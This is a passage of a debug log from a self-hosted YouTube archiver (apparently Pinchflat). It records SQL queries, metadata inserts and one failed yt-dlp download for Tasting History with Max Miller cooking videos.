[myvdVmaa0GE].mp4", "id" => "myvdVmaa0GE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=myvdVmaa0GE", "playlist_index" => 9, "timestamp" => 1770134479, "title" => "Cooking Kangaroo on the World War 2 Australian Home Front", "upload_date" => "20260203"} 02:53:12.011 [debug] QUERY OK source="sources" db=0.1ms idle=1483.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:12.011 [debug] QUERY OK source="sources" db=0.1ms idle=1483.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:12.012 [debug] QUERY OK source="media_items" db=1.2ms idle=1483.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-03 16:01:19Z], 3] 02:53:12.014 [debug] QUERY OK source="media_items" db=1.1ms idle=1037.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastinghistory\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "c6aff309-315b-4df8-a7f5-d2192c3829a0", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", false, 1276, false, 9, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].mp4", false, false, 3, [], 98, ~U[2026-02-03 16:01:19Z], ~U[2026-04-01 06:53:12Z], ~U[2026-04-01 06:53:12Z], "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastinghistory\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", 1276, false, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].mp4", false, 3, ~U[2026-02-03 16:01:19Z]] 02:53:12.014 [debug] QUERY OK source="sources" db=0.1ms idle=38.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:12.015 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:12.015 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8307] 02:53:12.015 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/mozartspork\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "duration" => 1300, "filename" => "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].mp4", "id" => "R9Kw_3c88bQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=R9Kw_3c88bQ", "playlist_index" => 10, "timestamp" => 1769529641, "title" => "Did This Meal Kill Mozart?", "upload_date" => "20260127"} 02:53:12.016 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:12.016 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:12.017 [debug] QUERY OK source="media_items" db=1.1ms idle=1.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 16:00:41Z], 3] 02:53:16.929 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f8/eb/f8eb0c6671533d1167ec4fc23e164514635319790a7244ebc4023e2700400262.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 02:53:16.929 [error] yt-dlp download error for media item #13061: "WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 02:53:16.929 [error] Unable to recover error for media item #13061: {:error, %Jason.DecodeError{position: 0, token: nil, data: ""}} 02:53:16.931 [debug] QUERY OK source="media_items" db=1.0ms idle=1402.3ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n", ~U[2026-04-01 06:53:16Z], 13061] 02:53:16.931 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":27947034,"event":"job:exception","queue_time":983471,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:53:21.132 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:25.748 [debug] QUERY OK source="media_items" db=13730.5ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/mozartspork\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "9e0114fe-4529-40f3-9261-6b1a93a8f8e1", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", false, 1300, false, 10, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].mp4", false, false, 3, [], 98, ~U[2026-01-27 16:00:41Z], ~U[2026-04-01 06:53:12Z], ~U[2026-04-01 06:53:12Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/mozartspork\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", 1300, false, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].mp4", false, 3, ~U[2026-01-27 16:00:41Z]] 02:53:25.749 [debug] QUERY OK source="sources" db=0.2ms idle=1221.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:25.749 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1221.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:25.750 [debug] QUERY OK source="media_items" db=0.2ms idle=1222.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7804] 02:53:25.750 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - https://youtu.be/r38ZpdaAX8c?si=5UvJuNx942CG_8R6\nVideo on Gruel - https://youtu.be/FPi0RiAsegQ?si=AtuicVfiJ4-w5hub\nVideo on Lobscouse - https://youtu.be/x9E-P89Acsg?si=BN4uqz-DDyD3moQ1\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/scouseandsuetdumplings\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1599, "filename" => "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].mp4", "id" => "zjMQgMshYM8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zjMQgMshYM8", "playlist_index" => 11, "timestamp" => 1768924890, "title" => "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "upload_date" => "20260120"} 02:53:25.750 [debug] QUERY OK source="sources" db=0.1ms idle=757.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:25.750 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:25.752 [debug] QUERY OK source="media_items" db=1.2ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 16:01:30Z], 3] 02:53:26.133 [debug] QUERY OK source="media_items" db=380.3ms idle=3.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - https://youtu.be/r38ZpdaAX8c?si=5UvJuNx942CG_8R6\nVideo on Gruel - https://youtu.be/FPi0RiAsegQ?si=AtuicVfiJ4-w5hub\nVideo on Lobscouse - https://youtu.be/x9E-P89Acsg?si=BN4uqz-DDyD3moQ1\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/scouseandsuetdumplings\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "12bd227c-5c6e-483e-89b1-3dc416101c29", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", false, 1599, false, 11, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].mp4", false, false, 3, [], 98, ~U[2026-01-20 16:01:30Z], ~U[2026-04-01 06:53:25Z], ~U[2026-04-01 06:53:25Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - https://youtu.be/r38ZpdaAX8c?si=5UvJuNx942CG_8R6\nVideo on Gruel - https://youtu.be/FPi0RiAsegQ?si=AtuicVfiJ4-w5hub\nVideo on Lobscouse - https://youtu.be/x9E-P89Acsg?si=BN4uqz-DDyD3moQ1\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/scouseandsuetdumplings\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", 1599, false, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].mp4", false, 3, ~U[2026-01-20 16:01:30Z]] 02:53:26.133 [debug] QUERY OK source="sources" db=0.2ms idle=382.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:26.134 [debug] QUERY OK source="media_profiles" db=0.2ms idle=382.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:26.134 [debug] QUERY OK source="media_items" db=0.3ms idle=382.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7349] 02:53:26.135 